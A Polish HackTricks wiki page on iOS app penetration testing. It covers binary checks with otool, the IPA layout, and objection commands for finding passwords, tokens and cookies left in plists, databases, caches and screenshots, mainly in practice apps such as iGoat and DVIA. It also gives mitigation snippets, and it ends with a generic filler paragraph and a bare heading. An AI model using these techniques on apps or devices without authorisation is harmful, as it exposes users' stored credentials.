# iOS Pentesting
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Podstawy iOS
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
## Środowisko testowe
Na tej stronie znajdziesz informacje na temat **symulatora iOS**, **emulatorów** i **jailbreakingu**:
{% content-ref url="ios-testing-environment.md" %}
[ios-testing-environment.md](ios-testing-environment.md)
{% endcontent-ref %}
## Analiza początkowa
### Podstawowe operacje testowe iOS
Podczas testowania **zostanie zaproponowanych kilka operacji** (połączenie z urządzeniem, odczyt/zapis/przesyłanie/pobieranie plików, korzystanie z niektórych narzędzi...). Jeśli nie wiesz, jak wykonać którąś z tych czynności, **zacznij od przeczytania strony**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
{% endcontent-ref %}
{% hint style="info" %}
Aby wykonać następujące kroki, **aplikacja powinna być zainstalowana** na urządzeniu, a **plik IPA** aplikacji powinien już zostać uzyskany.\
Przeczytaj stronę [Podstawowe operacje testowe iOS](basic-ios-testing-operations.md), aby dowiedzieć się, jak to zrobić.
{% endhint %}
### Podstawowa analiza statyczna
Zaleca się użycie narzędzia [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF), aby przeprowadzić automatyczną analizę statyczną pliku IPA.
Identyfikacja **zabezpieczeń obecnych w binarnym pliku**:
* **PIE (Position Independent Executable)**: Po włączeniu aplikacja ładowana jest pod losowy adres pamięci za każdym razem, gdy jest uruchamiana, co utrudnia przewidywanie jej początkowego adresu pamięci.
```bash
otool -hv | grep PIE # Powinno zawierać flagę PIE
```
* **Stack Canaries**: W celu sprawdzenia integralności stosu przed wywołaniem funkcji umieszczana jest wartość „canary” na stosie, a następnie sprawdzana ponownie po zakończeniu funkcji.
```bash
otool -I -v | grep stack_chk # Powinno zawierać symbole: stack_chk_guard i stack_chk_fail
```
* **ARC (Automatic Reference Counting)**: W celu zapobiegania powszechnym błędom korupcji pamięci
```bash
otool -I -v | grep objc_release # Powinno zawierać symbol _objc_release
```
* **Zaszyfrowany plik binarny**: Plik binarny powinien być zaszyfrowany
```bash
otool -arch all -Vl | grep -A5 LC_ENCRYPT # Wartość cryptid powinna wynosić 1
```
**Identyfikacja funkcji wrażliwych/niebezpiecznych**
* **Słabe algorytmy haszujące**
```bash
# Na urządzeniu iOS
otool -Iv | grep -w "_CC_MD5"
otool -Iv | grep -w "_CC_SHA1"
# Na systemie Linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
* **Niebezpieczne funkcje losowe**
```bash
# Na urządzeniu iOS
otool -Iv | grep -w "_random"
otool -Iv | grep -w "_srand"
otool -Iv | grep -w "_rand"
# Na systemie Linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
```
* **Niebezpieczna funkcja „Malloc”**
```bash
# Na urządzeniu iOS
otool -Iv | grep -w "_malloc"
# Na systemie Linux
grep -iER "_malloc"
```
* **Niebezpieczne i podatne na ataki funkcje**
```bash
# Na urządzeniu iOS
otool -Iv | grep -w "_gets"
otool -Iv | grep -w "_memcpy"
otool -Iv | grep -w "_strncpy"
otool -Iv | grep -w "_strlen"
otool -Iv | grep -w "_vsnprintf"
otool -Iv | grep -w "_sscanf"
otool -Iv | grep -w "_strtok"
otool -Iv | grep -w "_alloca"
otool -Iv | grep -w "_sprintf"
otool -Iv | grep -w "_printf"
otool -Iv | grep -w "_vsprintf"
# Na systemie Linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
```
### Podstawowa analiza dynamiczna
Sprawdź analizę dynamiczną, którą wykonuje [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Będziesz musiał poruszać się po różnych widokach i wchodzić w interakcję z nimi, ale narzędzie to będzie podłączać się do wielu klas i wykonywać inne czynności, a następnie przygotuje raport po zakończeniu.
### Wyświetlanie zainstalowanych aplikacji
Użyj polecenia `frida-ps -Uai`, aby określić **identyfikator pakietu** zainstalowanych aplikacji:
```bash
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
```
### Podstawowe wyliczanie i hookowanie
Dowiedz się, jak **wyliczać składniki aplikacji** i jak łatwo **hookować metody i klasy** za pomocą narzędzia objection:
{% content-ref url="ios-hooking-with-objection.md" %}
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
{% endcontent-ref %}
### Struktura pliku IPA
Struktura pliku **IPA** jest w zasadzie strukturą **spakowanego archiwum**. Po zmianie rozszerzenia na `.zip`, można je **rozpakować**, aby zobaczyć jego zawartość. W tej strukturze **Bundle** reprezentuje w pełni spakowaną aplikację gotową do instalacji. Wewnątrz znajduje się katalog o nazwie `.app`, który zawiera zasoby aplikacji.
* **`Info.plist`**: Ten plik zawiera szczegółowe informacje konfiguracyjne aplikacji.
* **`_CodeSignature/`**: Ten katalog zawiera plik plist, który zawiera podpis, zapewniający integralność wszystkich plików w pakiecie.
* **`Assets.car`**: Skompresowane archiwum przechowujące pliki zasobów, takie jak ikony.
* **`Frameworks/`**: Ten folder zawiera natywne biblioteki aplikacji, które mogą mieć postać plików `.dylib` lub `.framework`.
* **`PlugIns/`**: Może zawierać rozszerzenia aplikacji, znane jako pliki `.appex`, chociaż nie zawsze są obecne.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Służy do zapisywania trwałych danych aplikacji do użytku w trybie offline, do buforowania danych tymczasowych i dodawania funkcji cofania w aplikacji na jednym urządzeniu. Aby synchronizować dane między wieloma urządzeniami w jednym koncie iCloud, Core Data automatycznie odbija schemat w kontenerze CloudKit.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Plik `PkgInfo` to alternatywny sposób określania typu i kodów twórcy aplikacji lub pakietu.
* **en.lproj, fr.proj, Base.lproj**: Są to pakiety językowe zawierające zasoby dla konkretnych języków oraz domyślne zasoby w przypadku braku obsługi danego języka.
* **Bezpieczeństwo**: Katalog `_CodeSignature/` odgrywa kluczową rolę w bezpieczeństwie aplikacji, weryfikując integralność wszystkich dołączonych plików za pomocą podpisów cyfrowych.
* **Zarządzanie zasobami**: Plik `Assets.car` wykorzystuje kompresję do efektywnego zarządzania zasobami graficznymi, co jest istotne dla optymalizacji wydajności aplikacji i zmniejszenia jej rozmiaru.
* **Frameworks i PlugIns**: Te katalogi podkreślają modularność aplikacji iOS, pozwalając programistom na dołączanie wielokrotnego użytku bibliotek kodu (`Frameworks/`) i rozszerzanie funkcjonalności aplikacji (`PlugIns/`).
* **Lokalizacja**: Struktura obsługuje wiele języków, ułatwiając globalne dotarcie aplikacji poprzez dołączanie zasobów dla konkretnych pakietów językowych.
**Info.plist**
**Info.plist** pełni rolę podstawową dla aplikacji iOS, zawierając kluczowe dane konfiguracyjne w postaci par **klucz-wartość**. Ten plik jest niezbędny nie tylko dla aplikacji, ale także dla rozszerzeń aplikacji i bibliotek dołączonych. Może mieć strukturę XML lub format binarny i zawiera ważne informacje, od uprawnień aplikacji po konfiguracje zabezpieczeń. Aby dokładnie poznać dostępne klucze, można odwołać się do [**Dokumentacji dla deweloperów Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Dla osób, które chcą pracować z tym plikiem w bardziej dostępnym formacie, konwersję na format XML można łatwo osiągnąć za pomocą narzędzia `plutil` na macOS (dostępnego natywnie w wersjach 10.2 i nowszych) lub `plistutil` na Linuxie. Poniżej przedstawiamy polecenia konwersji:
- **Dla macOS**:
```bash
$ plutil -convert xml1 Info.plist
```
- **Dla systemu Linux**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Wśród licznych informacji, które plik **Info.plist** może ujawnić, warto wymienić ciągi uprawnień aplikacji (`UsageDescription`), niestandardowe schematy URL (`CFBundleURLTypes`) oraz konfiguracje dla bezpieczeństwa transportu aplikacji (`NSAppTransportSecurity`). Te wpisy, wraz z innymi, takimi jak eksportowane/importowane niestandardowe typy dokumentów (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), można łatwo zlokalizować, przeglądając plik lub używając prostego polecenia `grep`:
```bash
$ grep -i Info.plist
```
**Ścieżki danych**
W środowisku iOS istnieją specjalnie wyznaczone katalogi dla **aplikacji systemowych** i **aplikacji zainstalowanych przez użytkownika**. Aplikacje systemowe znajdują się w katalogu `/Applications`, podczas gdy aplikacje zainstalowane przez użytkownika są umieszczone w `/private/var/containers/`. Te aplikacje są przypisane do unikalnego identyfikatora o nazwie **128-bitowy UUID**, co utrudnia ręczne zlokalizowanie folderu aplikacji ze względu na losowość nazw katalogów.
Aby ułatwić odkrywanie katalogu instalacyjnego aplikacji zainstalowanej przez użytkownika, narzędzie **objection** udostępnia przydatne polecenie `env`. To polecenie ujawnia szczegółowe informacje o katalogu dla danej aplikacji. Poniżej znajduje się przykład użycia tego polecenia:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
Alternatywnie, nazwa aplikacji może być wyszukiwana w folderze `/private/var/containers` za pomocą polecenia `find`:
```bash
find /private/var/containers -name "Progname*"
```
Polecenia takie jak `ps` i `lsof` mogą również być wykorzystane do zidentyfikowania procesu aplikacji i wylistowania otwartych plików, odpowiednio, dostarczając informacji na temat aktywnych ścieżek katalogów aplikacji:
```bash
ps -ef | grep -i
lsof -p | grep -i "/containers" | head -n 1
```
**Katalog pakietu:**
* **AppName.app**
* To jest pakiet aplikacji, który widzieliśmy wcześniej w pliku IPA. Zawiera on podstawowe dane aplikacji, statyczną zawartość oraz skompilowany plik binarny aplikacji.
* Ten katalog jest widoczny dla użytkowników, ale **użytkownicy nie mogą w nim zapisywać**.
* Zawartość tego katalogu **nie jest tworzona w kopii zapasowej**.
* Zawartość tego folderu jest używana do **weryfikacji podpisu kodu**.
**Katalog danych:**
* **Documents/**
* Zawiera wszystkie dane generowane przez użytkownika. Tworzenie tych danych inicjuje użytkownik końcowy aplikacji.
* Widoczne dla użytkowników i **użytkownicy mogą w nim zapisywać**.
* Zawartość tego katalogu jest **tworzona w kopii zapasowej**.
* Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
* **Library/**
* Zawiera wszystkie **pliki, które nie są specyficzne dla użytkownika**, takie jak **pamięć podręczna**, **preferencje**, **ciasteczka** oraz pliki konfiguracyjne plist.
* Aplikacje iOS zazwyczaj korzystają z podkatalogów `Application Support` i `Caches`, ale aplikacja może tworzyć niestandardowe podkatalogi.
* **Library/Caches/**
* Zawiera **półtrwałe pliki podręczne**.
* Niewidoczne dla użytkowników i **użytkownicy nie mogą w nim zapisywać**.
* Zawartość tego katalogu **nie jest tworzona w kopii zapasowej**.
* System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona i brakuje miejsca na dysku.
* **Library/Application Support/**
* Zawiera **trwałe pliki** niezbędne do działania aplikacji.
* Niewidoczne dla użytkowników i użytkownicy nie mogą w nim zapisywać.
* Zawartość tego katalogu jest **tworzona w kopii zapasowej**.
* Aplikacja może wyłączyć ścieżki, ustawiając `NSURLIsExcludedFromBackupKey`.
* **Library/Preferences/**
* Służy do przechowywania właściwości, które **mogą przetrwać nawet po ponownym uruchomieniu aplikacji**.
* Informacje są zapisywane w postaci niezaszyfrowanej wewnątrz piaskownicy aplikacji w pliku plist o nazwie \[BUNDLE\_ID].plist.
* Wszystkie pary klucz/wartość przechowywane za pomocą `NSUserDefaults` można znaleźć w tym pliku.
* **tmp/**
* Używaj tego katalogu do zapisywania **tymczasowych plików**, które nie muszą przetrwać między uruchomieniami aplikacji.
* Zawiera tymczasowe pliki podręczne.
* Niewidoczne dla użytkowników.
* Zawartość tego katalogu nie jest tworzona w kopii zapasowej.
* System operacyjny może automatycznie usuwać pliki z tego katalogu, gdy aplikacja nie jest uruchomiona i brakuje miejsca na dysku.
Przyjrzyjmy się bliżej katalogowi pakietu aplikacji iGoat-Swift (.app) w katalogu Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
```
### Odwracanie binarne
Wewnątrz folderu `.app` znajdziesz plik binarny o nazwie ``. Jest to plik, który zostanie **wykonany**. Możesz przeprowadzić podstawową inspekcję binarną za pomocą narzędzia **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
**Sprawdź, czy aplikacja jest zaszyfrowana**
Sprawdź, czy istnieje jakiekolwiek wyjście dla:
```bash
otool -l | grep -A 4 LC_ENCRYPTION_INFO
```
**Rozkładanie binarnego pliku**
Rozkładanie sekcji tekstowej:
```bash
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
Aby wydrukować **segment Objective-C** przykładowej aplikacji, można użyć:
```bash
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
```
Aby uzyskać bardziej zwarty kod Objective-C, można użyć [**class-dump**](http://stevenygard.com/projects/class-dump/):
```bash
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
```
Jednak najlepsze opcje do rozkładania binarnego to: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Przechowywanie danych
Aby dowiedzieć się, jak iOS przechowuje dane w urządzeniu, przeczytaj tę stronę:
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
{% hint style="warning" %}
Następujące miejsca do przechowywania informacji powinny być sprawdzane **zaraz po zainstalowaniu aplikacji**, **po sprawdzeniu wszystkich funkcji** aplikacji, a nawet po **wylogowaniu się z jednego użytkownika i zalogowaniu się na innego**.\
Celem jest znalezienie **niechronionych wrażliwych informacji** aplikacji (hasła, tokeny), bieżącego użytkownika i wcześniej zalogowanych użytkowników.
{% endhint %}
### Plist
Pliki **plist** to strukturalne pliki XML, które **zawierają pary klucz-wartość**. Jest to sposób przechowywania danych trwałych, więc czasami można znaleźć wrażliwe informacje w tych plikach. Zaleca się sprawdzenie tych plików po zainstalowaniu aplikacji i po intensywnym jej użyciu, aby sprawdzić, czy zapisano nowe dane.
Najczęstszy sposób przechowywania danych w plikach plist to za pomocą **NSUserDefaults**. Ten plik plist jest zapisywany wewnątrz piaskownicy aplikacji w **`Library/Preferences/.plist`**
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można zobaczyć w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użytku z małymi ilościami danych.
Te dane nie mogą być bezpośrednio dostępne za pomocą zaufanego komputera, ale można do nich uzyskać dostęp wykonując **kopię zapasową**.
Możesz **wydobyć** zapisane informacje za pomocą **`NSUserDefaults`** przy użyciu polecenia `ios nsuserdefaults get` w narzędziu objection.
Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić:
```bash
find ./ -name "*.plist"
```
Aby przekonwertować pliki z formatu **XML lub binarnego (bplist)** na format XML, dostępne są różne metody w zależności od systemu operacyjnego:
**Dla użytkowników macOS:**
Wykorzystaj polecenie `plutil`. Jest to wbudowane narzędzie w macOS (10.2+), zaprojektowane w tym celu:
```bash
$ plutil -convert xml1 Info.plist
```
**Dla użytkowników Linuxa:**
Najpierw zainstaluj `libplist-utils`, a następnie użyj `plistutil`, aby przekonwertować plik:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**W trakcie sesji Objection:**
Do analizy aplikacji mobilnych istnieje specjalne polecenie, które umożliwia bezpośrednią konwersję plików plist:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist
```
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) to framework do zarządzania warstwą modelu obiektów w Twojej aplikacji. [Core Data może używać SQLite jako swojego trwałego magazynu](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ale sam framework nie jest bazą danych.\
CoreData domyślnie nie szyfruje swoich danych. Jednak można dodać dodatkową warstwę szyfrowania do CoreData. Więcej szczegółów znajdziesz w [repozytorium GitHub](https://github.com/project-imas/encrypted-core-data).
Informacje o bazie danych SQLite Core Data aplikacji znajdziesz w ścieżce `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
**Jeśli możesz otworzyć SQLite i uzyskać dostęp do wrażliwych informacji, oznacza to, że znalazłeś błędną konfigurację.**
{% code title="Kod z iGoat" %}
```objectivec
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
```
{% endcode %}
### YapDatabase
[YapDatabase](https://github.com/yapstudios/YapDatabase) to sklep kluczy/wartości zbudowany na bazie SQLite.\
Ponieważ bazy danych Yap są bazami danych SQLite, można je znaleźć, używając polecenia opisanego w poprzedniej sekcji.
### Inne bazy danych SQLite
Często aplikacje tworzą swoje własne bazy danych SQLite. Mogą w nich przechowywać **wrażliwe dane** i pozostawiać je niezaszyfrowane. Dlatego zawsze warto sprawdzić każdą bazę danych w katalogu aplikacji. Przejdź do katalogu aplikacji, w którym są przechowywane dane (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Bazy danych Firebase Real-Time
Deweloperzy mają możliwość **przechowywania i synchronizacji danych** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Dane są przechowywane w formacie JSON i synchronizowane w czasie rzeczywistym do wszystkich podłączonych klientów.
Jak sprawdzić, czy bazy danych Firebase są źle skonfigurowane, można znaleźć tutaj:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
{% endcontent-ref %}
### Bazy danych Realm
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, nieoferowaną przez Apple. Domyślnie dane są przechowywane w niezaszyfrowanej formie, a szyfrowanie jest dostępne poprzez odpowiednią konfigurację.
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby przeglądać te pliki, można użyć poleceń takich jak:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
```
Do przeglądania tych plików bazy danych zaleca się narzędzie [**Realm Studio**](https://github.com/realm/realm-studio).
Aby zaimplementować szyfrowanie w bazie danych Realm, można użyć następującego fragmentu kodu:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
```
### Bazy danych Couchbase Lite
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) jest opisany jako **lekka** i **wbudowana** baza danych, która stosuje podejście **zorientowane na dokumenty** (NoSQL). Zaprojektowana z myślą o systemach **iOS** i **macOS**, oferuje możliwość synchronizacji danych w sposób bezproblemowy.
Aby zidentyfikować potencjalne bazy danych Couchbase na urządzeniu, należy sprawdzić następujący katalog:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### Ciasteczka
iOS przechowuje ciasteczka aplikacji w folderze **`Library/Cookies/cookies.binarycookies`** wewnątrz folderu każdej aplikacji. Jednakże, czasami deweloperzy decydują się zapisać je w **keychainie**, ponieważ wspomniany **plik z ciasteczkami może być dostępny w kopii zapasowej**.
Aby przejrzeć plik z ciasteczkami, możesz skorzystać z [**tego skryptu pythonowego**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć polecenia **`ios cookies get`** w narzędziu objection.\
**Możesz również użyć narzędzia objection do** konwersji tych plików na format JSON i przejrzenia danych.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
```
### Pamięć podręczna
Domyślnie NSURLSession przechowuje dane, takie jak **żądania i odpowiedzi HTTP w bazie danych Cache.db**. Ta baza danych może zawierać **wrażliwe dane**, jeśli tokeny, nazwy użytkowników lub jakiekolwiek inne wrażliwe informacje zostały zapisane w pamięci podręcznej. Aby znaleźć zapisane informacje, otwórz katalog danych aplikacji (`/var/mobile/Containers/Data/Application/`) i przejdź do `/Library/Caches/`. **Pamięć podręczna WebKit jest również przechowywana w pliku Cache.db**. **Objection** może otworzyć i interakcjonować z bazą danych za pomocą polecenia `sqlite connect Cache.db`, ponieważ jest to **zwykła baza danych SQLite**.
Zaleca się **wyłączenie pamięci podręcznej tych danych**, ponieważ mogą one zawierać wrażliwe informacje w żądaniu lub odpowiedzi. Poniżej przedstawiono różne sposoby osiągnięcia tego:
1. Zaleca się usunięcie zapisanych odpowiedzi z pamięci podręcznej po wylogowaniu. Można to zrobić za pomocą dostarczonej przez Apple metody o nazwie [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Można wywołać tę metodę w następujący sposób:
`URLCache.shared.removeAllCachedResponses()`
Ta metoda usunie wszystkie zapisane żądania i odpowiedzi z pliku Cache.db.
2. Jeśli nie potrzebujesz korzystać z plików cookie, zaleca się użycie właściwości [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracji URLSession, która wyłączy zapisywanie plików cookie i pamięci podręcznej.
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Obiekt konfiguracji sesji tymczasowej jest podobny do domyślnej konfiguracji sesji (patrz default), z wyjątkiem tego, że odpowiadający mu obiekt sesji nie przechowuje pamięci podręcznej, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w pamięci RAM. Jedynym przypadkiem, w którym sesja tymczasowa zapisuje dane na dysku, jest wtedy, gdy polecisz jej zapisać zawartość adresu URL do pliku.`
3. Pamięć podręczna może również zostać wyłączona poprzez ustawienie polityki pamięci podręcznej na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Spowoduje to wyłączenie przechowywania pamięci podręcznej w dowolny sposób, zarówno w pamięci, jak i na dysku.
### Zrzuty ekranu
Zawsze, gdy naciśniesz przycisk Home, iOS **robi zrzut ekranu** aktualnego ekranu, aby umożliwić płynne przejście do aplikacji. Jednak jeśli na aktualnym ekranie znajdują się **wrażliwe dane**, zostaną one **zapisane** w **obrazie** (który **przetrwa** **ponowne uruchomienie**). Są to zrzuty ekranu, do których można również uzyskać dostęp, podwójnie klikając ekran główny, aby przełączyć się między aplikacjami.
Chyba że iPhone jest odblokowany, **atakujący** musi mieć **dostęp** do **odblokowanego urządzenia**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w sandboxie aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mają dostępu do systemu plików od wersji iOS 7.0).
Jednym ze sposobów zapobieżenia temu niepożądanemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
Poniżej przedstawiono przykładową metodę naprawczą, która ustawia domyślny zrzut ekranu.
Swift:
```swift
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
Objective-C:
Objective-C jest językiem programowania używanym głównie do tworzenia aplikacji na platformę iOS. Jest to rozszerzenie języka C, które wprowadza obiektowość i dynamiczne wiązanie. W celu przeprowadzenia testów penetracyjnych na aplikacjach iOS, ważne jest zrozumienie podstawowych konstrukcji języka Objective-C.
### Klasa
